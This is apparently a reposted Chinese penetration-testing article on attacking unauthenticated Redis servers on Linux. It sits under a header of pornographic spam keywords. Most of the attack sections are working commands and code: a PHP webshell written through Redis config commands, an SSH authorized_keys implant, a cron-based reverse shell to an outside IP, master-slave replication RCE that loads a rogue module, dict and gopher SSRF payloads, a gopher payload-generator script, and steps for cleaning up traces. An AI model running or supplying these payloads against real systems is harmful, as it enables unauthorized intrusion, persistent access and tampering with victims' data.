日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪(fǎng)問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 运维知识 > linux >内容正文

linux

docker安装redis提示没有日记写入权限_浅析Linux下Redis的攻击面(一)

發(fā)布時(shí)間:2025/4/16 linux 25 豆豆
生活随笔 收集整理的這篇文章主要介紹了 docker安装redis提示没有日记写入权限_浅析Linux下Redis的攻击面(一) 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

文章轉(zhuǎn)自先知社區(qū):https://xz.aliyun.com/t/7974

0x0 前言

??Redis在內(nèi)網(wǎng)滲透中常常扮演著重要的角色,其攻擊方式非常多樣化,在內(nèi)網(wǎng)復(fù)雜的環(huán)境架構(gòu)中容易出現(xiàn)各種問(wèn)題,那么如何有效利用Redis的缺陷來(lái)達(dá)到我們的目的呢,這里筆者結(jié)合一些實(shí)操場(chǎng)景和大師傅們的文章做了一些分析和總結(jié)。

0x1 Redis的簡(jiǎn)介

官方簡(jiǎn)介:?Introduction to Redis

我的理解:

Redis是C語(yǔ)言開(kāi)發(fā)一個(gè)開(kāi)源(遵循BSD)協(xié)議高性能的(key-value)鍵值對(duì)的內(nèi)存NoSQL數(shù)據(jù)庫(kù),可以用作數(shù)據(jù)庫(kù)、緩存、信息中間件(性能非常優(yōu)秀,支持持久化到硬盤(pán)且高可用),由于其自身特點(diǎn),可以廣泛應(yīng)用在數(shù)據(jù)集群,分布式隊(duì)列,信息中間件等網(wǎng)絡(luò)架構(gòu)中,在內(nèi)網(wǎng)滲透的突破中,常常扮演getshell的角色,

0x2 Redis環(huán)境的搭建

我們可以去官網(wǎng)看看:

https://redis.io/download

這里我們可以學(xué)習(xí)一下Redis的版本控制方式:

Redis uses a standard practice for its versioning:?major.minor.patchlevel. An even?minormarks a?stable?release, like 1.2, 2.0, 2.2, 2.4, 2.6, 2.8. Odd minors are used for?unstablereleases, for example 2.9.x releases are the unstable versions of what will be Redis 3.0 once stable.

可以看到1.2.3,這樣的格式,其中1是大版本,2是小改動(dòng),3是bug修復(fù),其中 2中的數(shù)字,Odd(奇數(shù))代表的是不穩(wěn)定的發(fā)行版,而Even(偶數(shù))代表是穩(wěn)定的發(fā)行版。

目前Redis 穩(wěn)定版已經(jīng)更新redis6.0,在實(shí)際的實(shí)戰(zhàn)中,一般不會(huì)那么高,包括我自己用的,普遍都是4.x-5.x,有的甚至更低。

在官網(wǎng)中提供了多種安裝方式,有手工編譯的,也有docker的, 筆者由于是重度docker玩家,所以主選docker這種方式,其實(shí)原因主要還是卸載方便和基于Ubuntu環(huán)境比較貼近實(shí)戰(zhàn)環(huán)境(筆者是MacOS環(huán)境)。

但是為了方便分析版本差異,也通過(guò)編譯源碼的方式來(lái)運(yùn)行一些版本。

redis全部版本源碼

這里為了研究差異,筆者分別安裝了3個(gè)版本的環(huán)境用來(lái)測(cè)試:

4.x版本的環(huán)境:?vulhub 4.0.1

1.git clone https://github.com/vulhub/vulhub.git2. cd ./vulhub/redis/4-unacc3.docker-compose up -d

5.x版本的環(huán)境:

這里選取redis官方的鏡像版本

docker pull redis:5.0.9

通過(guò)觀察官方鏡像的dockerfile文件

RUN groupadd -r -g 999 redis && useradd -r -g redis -u 999 redisRUN mkdir /data && chown redis:redis /data

可以看到創(chuàng)建了一個(gè)專(zhuān)門(mén)用于程序運(yùn)行的系統(tǒng)賬號(hào)。

運(yùn)行:

docker run --name redis5 -p6379:6379 -d redis:5.0.9

遠(yuǎn)程ubunut環(huán)境安裝管理包的redis4.0.9(用來(lái)模擬常見(jiàn)的情況,一般linux及其都是以root權(quán)限運(yùn)行很多程序的)

apt-get install redis-server

然后以root用戶(hù)啟動(dòng)的,只能用bind的ip,external ip是會(huì)被拒絕的。

0x3 常見(jiàn)的利用方式

redis 安全問(wèn)題可以參考:

1.A few things about Redis security

2.Redis安全

這里我簡(jiǎn)單說(shuō)一下Redis容易遭受的攻擊點(diǎn),而這些點(diǎn)本身就是軟件設(shè)計(jì)便捷理念。

redis為了系統(tǒng)的移植方便,多集群的快速部署,在3.2.0之前默認(rèn)都是無(wú)密碼,對(duì)外暴露6379的

1.docker run --name redis -p6379:6379 -d redis:3.0 2.redis-cli x.x.x.123 3.config get requirepass# docker部署默認(rèn)都是以redis權(quán)限執(zhí)行的。

可以看到默認(rèn)對(duì)外開(kāi)放且無(wú)密碼的。

但是在3.2.0之后增加了一個(gè)保護(hù)模式,默認(rèn)還是無(wú)密碼,但是限制了只有本地(回環(huán)接口)才能訪(fǎng)問(wèn)。

總的來(lái)說(shuō),問(wèn)題還是出在了無(wú)密碼校驗(yàn)經(jīng)常被鉆空子,比如ssrf,用來(lái)權(quán)限提升等等,下面會(huì)說(shuō)到。

然后Redis自身提供了一個(gè)config的命令,用來(lái)實(shí)現(xiàn)備份功能,然后備份的文件名和備份的路徑都可以通過(guò)

config set dbfilename
config set dir

來(lái)控制,從而可以實(shí)現(xiàn)任意文件寫(xiě)功能。

0x3.1 信息泄露

這個(gè)比較雞肋,簡(jiǎn)單提提

redis 有個(gè)info的命令,返回關(guān)于 Redis 服務(wù)器的各種信息和統(tǒng)計(jì)數(shù)值。

config get *也會(huì)泄露一些信息

0x3.2 寫(xiě)webshell

這種情況一般大都是出在了root權(quán)限執(zhí)行的redis中,或者是以某個(gè)web服務(wù)來(lái)啟動(dòng)的redis,從而對(duì)web目錄具有了可寫(xiě)的權(quán)限。

這個(gè)操作網(wǎng)上的payload其實(shí)很多都有風(fēng)險(xiǎn)性,一些不懂redis的小白就很容易誤操作。

flushallset 1 '<?php eval($_GET["cmd"]);?>'config set dir /var/www/htmlconfig set dbfilename shell.phpsave

最終生成一個(gè)redis數(shù)據(jù)庫(kù)快照,里面包含了數(shù)據(jù)內(nèi)容寫(xiě)到dbfilename設(shè)置的路徑中。

里面有個(gè)flushall命令會(huì)清空所有緩存數(shù)據(jù),這個(gè)在一定程度不會(huì)造成巨大的損失,但是會(huì)給業(yè)務(wù)體驗(yàn)帶來(lái)影響。

redis 默認(rèn)數(shù)據(jù)庫(kù)有16個(gè):

config get databases

127.0.0.1:6380[2]> config get databases
1) "databases"
2) "16"
127.0.0.1:6380[2]>

默認(rèn)保存的是當(dāng)前數(shù)據(jù)庫(kù)下內(nèi)容,所以我們完全不用flushall來(lái)清空默認(rèn)0號(hào)的數(shù)據(jù)庫(kù)內(nèi)容

我們只需這樣子select 去切換其他的空數(shù)據(jù)庫(kù),然后就可以了。

select 5
set 1 '<?php eval($_POST["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

比如:

keys *(這個(gè)最好別用,輸出量很容易把環(huán)境崩掉)

可以考慮用dbsize

我們就可以選擇第5號(hào)數(shù)據(jù)庫(kù)來(lái)執(zhí)行操作,根本不需要進(jìn)行fluashall的高危操作。

這里可以看到save命令保存下來(lái)的文件,其實(shí)因?yàn)槭菙?shù)據(jù)庫(kù)備份為快照文件所以存在一定格式(臟數(shù)據(jù)),但是由于PHP解析的松散性,這些都不影響php的執(zhí)行。

0x3.3 寫(xiě)入SSH 免密登錄

這個(gè)場(chǎng)景主要應(yīng)用在沒(méi)有web應(yīng)用的服務(wù)器,redis一般都是與web分離的,故這種方式我個(gè)人覺(jué)得還是很棒的,在linux系統(tǒng)都存在/root目錄也不會(huì)被改動(dòng),筆者覺(jué)得這種方式還是可以接受的。

如centos:(這個(gè)沒(méi)有登錄過(guò)root,沒(méi)有沒(méi)有.ssh文件夾,問(wèn)題不大)

如ubuntu:

可以看到可行性還是可圈可點(diǎn)的。

寫(xiě)入過(guò)程:

ssh-keygen -t rsa
# 然后指定目錄生成2個(gè)文件 私鑰:id_rsa 公鑰:id_rsa.pub

這里要注意下數(shù)據(jù)庫(kù)內(nèi)容的決定是否要使用flushall

這里為了保證寫(xiě)入的authorized_key能被解析,必須引入換行符(ubuntu親測(cè),要不然是不會(huì)成功)

1.(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > temp.txt
2.cat temp.txt | redis-cli -p 6380 -x set 1

然后按正常操作即可

1. config set dir /root/.ssh/
2. config set dbfilename authorized_keys
3.save

嘗試連接下:

ssh root@139.X.X.X -i id_rsa

PS (一些疑惑):

網(wǎng)上搜了一些文章說(shuō),因?yàn)槟J(rèn)的話(huà)是不允許開(kāi)啟通過(guò)開(kāi)啟密鑰來(lái)登錄。

默認(rèn)在/etc/ssh/sshd_config中不開(kāi)啟

`#PubkeyAuthentication yes

所以會(huì)導(dǎo)致沒(méi)辦法登錄,但是我在測(cè)試的過(guò)程中發(fā)現(xiàn),默認(rèn)直接寫(xiě)入也可以直接登錄。

測(cè)試過(guò)幾臺(tái)機(jī)器都是生產(chǎn)環(huán)境上的云機(jī)器,都是這樣直接寫(xiě)入就可以登錄。

0x3.4 寫(xiě)入計(jì)劃任務(wù)反彈shell

這個(gè)點(diǎn)其實(shí)蠻雞肋,因?yàn)樵赿ebian、ubuntu等環(huán)境中由于這些環(huán)境對(duì)計(jì)劃任務(wù)的格式解析非常嚴(yán)格是沒(méi)辦法執(zhí)行成功,但是這個(gè)比前面那個(gè)比較好,主要是在centos環(huán)境的環(huán)境下默認(rèn)root是可以通過(guò)這個(gè)方法拿到反彈shell的,所以還是指的說(shuō)說(shuō)的。

1.ubuntu無(wú)法利用的原因

  • /etc/crontab,臟數(shù)據(jù)解析失敗

  • /var/spool/cron/crontabs/root,redis默認(rèn)寫(xiě)入644非600,提示失敗

  • Centos下的利用

    實(shí)現(xiàn)命令:

    set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/X.X.X.X/7789 0>&1\n\n'config set dir /var/spool/cron/config set dbfilename rootsave

    查看定時(shí)任務(wù)執(zhí)行狀態(tài):

    tail -f vim /var/log/cron

    這個(gè)我建議在嘗試嘗試完ssh之后,如果失敗了,再結(jié)合判斷是不是centos機(jī)器(實(shí)際概率比較大)

    再?lài)L試這個(gè)。

    0x3.5 寫(xiě)入高冗余數(shù)據(jù)

    當(dāng)我們寫(xiě)入的內(nèi)容是屬于高冗余的數(shù)據(jù)時(shí),redis默認(rèn)會(huì)采用LZF壓縮的方式來(lái)寫(xiě)入數(shù)據(jù)。

    壓縮:Redis默認(rèn)采用LZF算法對(duì)生成的RDB文件做壓縮處理,壓縮后的文件遠(yuǎn)遠(yuǎn)小于內(nèi)存大小,默認(rèn)開(kāi)啟,可以通過(guò)參數(shù)config setrdbcompression{yes|no}動(dòng)態(tài)修改。

    這個(gè)時(shí)候我們就會(huì)出現(xiàn)一些奇怪的錯(cuò)誤,

    debug起來(lái)相當(dāng)麻煩

    解決思路:關(guān)閉壓縮功能。

    config set rdbcompression no

    然后再保存即可。

    0x3.6 低版本redis 無(wú)損寫(xiě)文件

    RedisWriteFile

    這個(gè)能實(shí)現(xiàn)無(wú)損寫(xiě)文件,如果權(quán)限夠高,也可以嘗試下,因?yàn)闊o(wú)損寫(xiě)文件原理主從同步,從redis2.8開(kāi)始,module模塊加載是從redis4.0開(kāi)始的,所以在低版本的redis,或許會(huì)有一些作用,但是我遇到的環(huán)境比較少,感覺(jué)linux下作用真的不大,簡(jiǎn)單提提。

    0x4 主從復(fù)制RCE

    0x4.1 主從復(fù)制的介紹

    (1)簡(jiǎn)單說(shuō)明

    這個(gè)攻擊方式是LC/BC的成員Pavel Toporkov在2019年7月7日結(jié)束的WCTF2019 Final分享出來(lái)的,可以說(shuō)這個(gè)技術(shù),為redis的攻擊撕開(kāi)了一個(gè)全新的口子,打就是rce獲取的就是redis運(yùn)行的權(quán)限,比之前那些需要高權(quán)限的方法來(lái)的更加普遍和使用。

    (2)通俗原理

    兩個(gè)點(diǎn):

    (1) 支持傳輸備份文件

    (2)支持加載so鏈接庫(kù),拓展命令

    • 第一步,我們偽裝成redis數(shù)據(jù)庫(kù),然后受害者將我們的數(shù)據(jù)庫(kù)設(shè)置為主節(jié)點(diǎn)。

    • 第二步,我們?cè)O(shè)置備份文件名為so文件

    • 第三步,設(shè)置傳輸方式為全量傳輸

    • 第四步加載惡意so文件,實(shí)現(xiàn)任意命令執(zhí)行

    這里重點(diǎn)是實(shí)現(xiàn)全量傳輸:

    全量傳輸是將數(shù)據(jù)庫(kù)備份文件整個(gè)傳輸過(guò)去,然后從節(jié)點(diǎn)清空內(nèi)存數(shù)據(jù)庫(kù),將備份文件加載到數(shù)據(jù)庫(kù)中。

    具體的實(shí)現(xiàn)步驟:

    那么怎么控制實(shí)現(xiàn)這些操作呢,其實(shí)很簡(jiǎn)單,我們可以監(jiān)控一下正常流程,截取出相應(yīng)的命令再進(jìn)行構(gòu)造好了,這些操作其實(shí)還是蠻復(fù)雜的,要不然也不要等Pavel Toporkov來(lái)公布了吧。

    不過(guò)這個(gè)調(diào)試協(xié)議雖然繁瑣但是還是可以做出來(lái)的。
    跟一下wireshark走一遍流程就好了,站在巨人的肩膀也行。
    https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

    0x4.2 利用流程

    這里我比較推薦個(gè)比較好用的工具:

    Dliv3師傅的比較適合實(shí)戰(zhàn):?https://github.com/Dliv3/redis-rogue-server

    python3 redis-rogue-server.py --rhost 127.0.0.1 --rport 6380 --lhost docker.for.mac.host.internal --lport 8088

    可以看到效果還是有的。

    這個(gè)工具還有個(gè)用法是,是服務(wù)器模式,接收目標(biāo)redis的鏈接。

    (這種場(chǎng)景可以使用在,服務(wù)器通外網(wǎng),但是外網(wǎng)不能訪(fǎng)問(wèn)服務(wù)器時(shí)候,但是我們可以通過(guò)ssrf或者vpn之后鏈接redis來(lái)執(zhí)行命令)

    服務(wù)器端執(zhí)行:

    python3 redis-rogue-server.py --server-only

    本地手工執(zhí)行命令設(shè)置備份:

    1.config set dir ./2.config set dbfilename exp.so3.slaveof X.X.X.1954.slaveof X.X.X.195 21000 #上面看綁定的服務(wù)段端口是210005. module load ./exp.so6.slaveof no one7.system.exec 'whoami'清理痕跡8.config set dbfilename dump.rdb9.system.exec 'rm ./exp.so'10.module unload system

    PS:(一些滲透需要注意的點(diǎn))

    經(jīng)過(guò)測(cè)試,這個(gè)payload打的時(shí)候會(huì)重置所有數(shù)據(jù)庫(kù)內(nèi)容,所以慎用,在測(cè)試過(guò)程中,倒是沒(méi)有遇到redis會(huì)崩潰的問(wèn)題,可能是數(shù)據(jù)量比較少?

    0x4.3 可利用的版本

    經(jīng)過(guò)測(cè)試主從復(fù)制的可利用版本是4.x-5.x

    但是從6.0開(kāi)始,就開(kāi)始利用失敗了。

    但是還是可以通過(guò)config命令來(lái)進(jìn)行寫(xiě)文件的

    也能通過(guò)主從復(fù)制來(lái)無(wú)損加載文件

    但是在module的時(shí)候加載卻失敗了。(猜測(cè)可能是exp.so的不被兼容,)

    0x4.4 禁用config命令繞過(guò)

    如果在redis.conf 配置了禁用config命令的時(shí)候。

    rename-command CONFIG ""

    比如這個(gè)config命令就不可用了,可以采取這種方式繞過(guò)。

    這個(gè)時(shí)候我們就沒(méi)辦法自定義文件后綴了,但是我們還是可以利用主從復(fù)制的

    可以看到同步之后exp.so的內(nèi)容被保存為了dump.rdb

    后面把dump.rdb當(dāng)做exp.so去正常加載即可。

    0x5 SSRF對(duì)redis的利用

    SSRF為Redis的供給面打開(kāi)了一個(gè)口子,但是由于dict和gopher協(xié)議的有一些坑點(diǎn),有時(shí)候利用起來(lái)會(huì)出現(xiàn)一些下面的問(wèn)題。

    簡(jiǎn)單探測(cè)redis服務(wù):

    1.curl "dict://127.0.0.1:6381"2.回顯-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP+OK

    0x5.1 dict與gopher協(xié)議的區(qū)別

    (1)dict協(xié)議

    dict協(xié)議,字典服務(wù)器協(xié)議,?A Dictionary Server Protocol?。

    dict是基于查詢(xún)響應(yīng)的TCP協(xié)議。

    使用格式:

    dict://serverip:port/命令:參數(shù)

    這里dict有個(gè)比較好的特點(diǎn)就是會(huì)再末尾補(bǔ)上\r\n

    不好的是,命令多條的話(huà),需要一條條地去執(zhí)行,因?yàn)椴恢С謧魅霌Q行,也不會(huì)對(duì)%0d%0解碼。

    (2)gopher協(xié)議

    互聯(lián)網(wǎng)上使用的分布型的文件搜集獲取網(wǎng)絡(luò)協(xié)議。

    支持多行輸入。

    使用格式:

    gopher://serverip:port/_data

    特點(diǎn):

    可以看到gopher的第一個(gè)字符被吞掉了,還有沒(méi)有發(fā)送quit

    所以我們需要手動(dòng)加一個(gè)字符如_

    影響范圍:

    0x5.2 無(wú)認(rèn)證SSRF攻擊

    dict協(xié)議的攻擊:

    1.連接遠(yuǎn)程主服務(wù)器curl dict://127.0.0.1:6381/slaveof:101.200.157.195:210002.設(shè)置保存文件名curl dict://127.0.0.1:6381/config:set:dbfilename:exp.so3.載入 exp.socurl dict://127.0.0.1:6381/module:load:./exp.so4.斷開(kāi)主從curl dict://127.0.0.1:6381/slaveof:no:one5.恢復(fù)原始文件名curl dict://127.0.0.1:6381/config:set:dbfilename:dump.rdb6.執(zhí)行命令curl dict://127.0.0.1:6381/system.exec:'whomai'7.刪除痕跡curl dict://127.0.0.1:6381/system.exec:rm './exp.so...'

    成功執(zhí)行命令。

    要是寫(xiě)shell的話(huà)參照上面那樣做即可。

    gopher協(xié)議的攻擊:

    這里采取goherus.py,來(lái)實(shí)現(xiàn)快速利用吧。

    1.git clone https://github.com/tarunkant/Gopherus.git
    2.gopherus --exploit redis

    Gopherus沒(méi)有集成怎么主從復(fù)制的利用。簡(jiǎn)單分析下他的原理

    可以看到這個(gè)偽造的是resp協(xié)議來(lái)交互(這個(gè)不打算展開(kāi),后面源碼分析利用的時(shí)候會(huì)說(shuō)明的)

    其實(shí)這里我們也可以將gopher偽造成dict的協(xié)議(直接采用簡(jiǎn)單協(xié)議格式)來(lái)一段一段地請(qǐng)求。

    gopher://127.0.0.1:6379/_auth%20123123%0d%0aconfig%20set%20dir%20/tmp/%0d%0aquit

    只要在最后加上個(gè)quit即可,這樣子的好處是,有緩沖時(shí)間,一段段發(fā)送可以讓備份文件完整傳輸?shù)綇臋C(jī)上的時(shí)間。

    0x5.3 帶認(rèn)證的SSRF攻擊

    有認(rèn)證的話(huà),其實(shí)問(wèn)題也不大。

    auth 123123

    docker里面用tcpdump監(jiān)聽(tīng)協(xié)議包

    tcpdump -i eth0 port 6379 -w redisPort.pcap

    然后導(dǎo)出到本機(jī)用wireshark分析

    docker cp cbdaed8:/redisPort.pcap ./redisPort.pcap

    直接follow tcp stream

    可以看到這個(gè)驗(yàn)證過(guò)程其實(shí)也是可以偽造的。

    提取這段出來(lái)然后url編碼就行了

    import urllib.parsestr_ = "2a 32 0d 0a 24 34 0d 0a 61 75 74 68 0d 0a 24 36 0d 0a 31 32 33 31 32 33 0d 0a"str__ = str_.split(' ')okStr = ""for i in str__: okStr += "%" +iprint(okStr)

    然后測(cè)試下:

    curl "gopher://127.0.0.1:6383/_%2a%32%0d%0a%24%34%0d%0a%61%75%74%68%0d%0a%24%36%0d%0a%31%32%33%31%32%33%%0d%0a"+OK

    Redis支持管道流水線(xiàn),所以可以一次性拼接命令發(fā)送,不需要回復(fù)請(qǐng)求。

    所以我們只需要在開(kāi)頭拼接下這段驗(yàn)證就行了。

    0x5.4 通用利用腳本

    這里我自己改了個(gè)比較簡(jiǎn)單的python3的payload生成腳本。

    #!/usr/bin/python3# -*-coding:utf-8-*-# author:xq17import urllib.parsedef tranToResp(x): xSplit = x.split(" ") cmd="" cmd+="*"+str(len(xSplit)) for i in xSplit: i = i.replace("${IFS}"," ") cmd+="\r\n"+"$"+str(len(i))+"\r\n"+ i cmd+="\r\n" return cmddef GeneratePayload(ip, port): cmd=[ "config set dir ./", "config set dbfilename exp.so", "slaveof {i} {p}".format(i=ip, p=port), "module load exp.so", "system.exec ls", "system.exec rm${IFS}exp.so", "quit", ] # "system.exec bash${IFS}-i${IFS}>&${IFS}/dev/tcp/192.168.8.103/4607${IFS}0>&1", payload = "" for p in cmd: payload += urllib.parse.quote(tranToResp(p)) return payloaddef main(): # target ip = "127.0.0.1" port = "6383" # server load exp.so serverIp = "101.x.x.x" serverPort = "21000" authPass = "123123" payload = GeneratePayload(serverIp, serverPort) exitPayload = (urllib.parse.quote(tranToResp("slaveof no one") + tranToResp("quit") )) if authPass: print("author attack:") pd = "gopher://{host}:{port}/_%2a%32%0d%0a%24%34%0d%0a%61%75%74%68%0d%0a%24{l}%0d%0a{p}%0d%0a" pd = pd.format(host=ip, port=port, l=str(len(authPass)), p=authPass) print(pd + payload) print("clean footprint:") print(pd + exitPayload) else: print("no author attack:") pd = "gopher://{host}:{port}/_" print(pd.format(host=ip, port=port)+payload) print("clean footprint:") print(pd.format(host=ip, port=port) + exitPayload)if __name__ == '__main__': main()


    如果有認(rèn)證的話(huà),添加到authPass變量即可。

    0x5.5 redis觸發(fā)反序列化

    這種場(chǎng)景主要是redis里面存儲(chǔ)的內(nèi)容,最終會(huì)被程序反序列化,從而導(dǎo)致觸發(fā)處反序列化漏洞。

    我們平時(shí)做題目的時(shí)候一般序列化內(nèi)容都被base64了,所以沒(méi)遇到什么坑。但是如果是原生的序列化數(shù)據(jù)就會(huì)有協(xié)議無(wú)法傳輸特殊字符的坑。

    不過(guò)gopher是無(wú)敵的,雙重編碼就行了。

    案例來(lái)源:?https://mp.weixin.qq.com/s/kfYF157ux_VAOymU5l5RFA

    以后如果遇到有意思的題目,單獨(dú)列出來(lái)這個(gè)方面研究吧,gopher協(xié)議足夠秒殺了。

    0x6 總結(jié)

    ??本文主要是歸納了一些tips偏應(yīng)用方面,前前后后折騰了挺久的,感覺(jué)網(wǎng)上的知識(shí)點(diǎn)都比較零散,現(xiàn)在很多人都止步了對(duì)redis的漏洞挖掘,除非新爆出一些什么洞,否則,目前的文章體系還是能系統(tǒng)涵蓋已知的主要攻擊面。也歡迎各位師傅提出一些新的點(diǎn),讓我加強(qiáng)學(xué)習(xí)。后面將從redis的源碼來(lái)分析一些現(xiàn)象的原因。

    0x7 參考鏈接

    通過(guò) SSRF 操作 Redis 主從復(fù)制寫(xiě) Webshell

    不基于 redis擴(kuò)展的 redis bypass PHP disable_functions

    15-redis-post-exploitation

    Linux用戶(hù)和組管理

    三分鐘教你理清Linux 用戶(hù)與用戶(hù)組關(guān)系~

    Redis中SSRF的利用

    一次“SSRF-->RCE”的艱難利用

    Redis Rce 簡(jiǎn)析)

    redis未授權(quán)漏洞利用

    不請(qǐng)自來(lái) | Redis 未授權(quán)訪(fǎng)問(wèn)漏洞深度利用

    Redis主從復(fù)制getshell技巧

    SSRF攻擊內(nèi)網(wǎng)Redis

    實(shí)驗(yàn)推薦

    • SSRF漏洞進(jìn)階實(shí)踐-攻擊內(nèi)網(wǎng)Redis

    • https://www.hetianlab.com/expc.do?ec=ECID9f92-ff93-4a94-a821-f0b968ef4985

    • (通過(guò)gopher協(xié)議攻擊Redis,如果內(nèi)網(wǎng)中的Redis存在未授權(quán)訪(fǎng)問(wèn)漏洞,當(dāng)Redis服務(wù)以root權(quán)限運(yùn)行時(shí),利用gopher協(xié)議攻擊內(nèi)網(wǎng)中的Redis,通過(guò)寫(xiě)入定時(shí)任務(wù)可以實(shí)現(xiàn)反彈shell。

    精選推薦

    《Web安全零基礎(chǔ)到精通》

    • 如果你也是一名想進(jìn)入Web安全行業(yè),急需專(zhuān)業(yè)老師帶路的人;

    • 急需提升實(shí)戰(zhàn)技能,想找一份心儀工作的0-3年Web安全新人;

    • 在校大學(xué)生,想進(jìn)入Web安全行業(yè),急需參與實(shí)操項(xiàng)目的同學(xué)。

    戳戳戳

    總結(jié)

    以上是生活随笔為你收集整理的docker安装redis提示没有日记写入权限_浅析Linux下Redis的攻击面(一)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

    如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。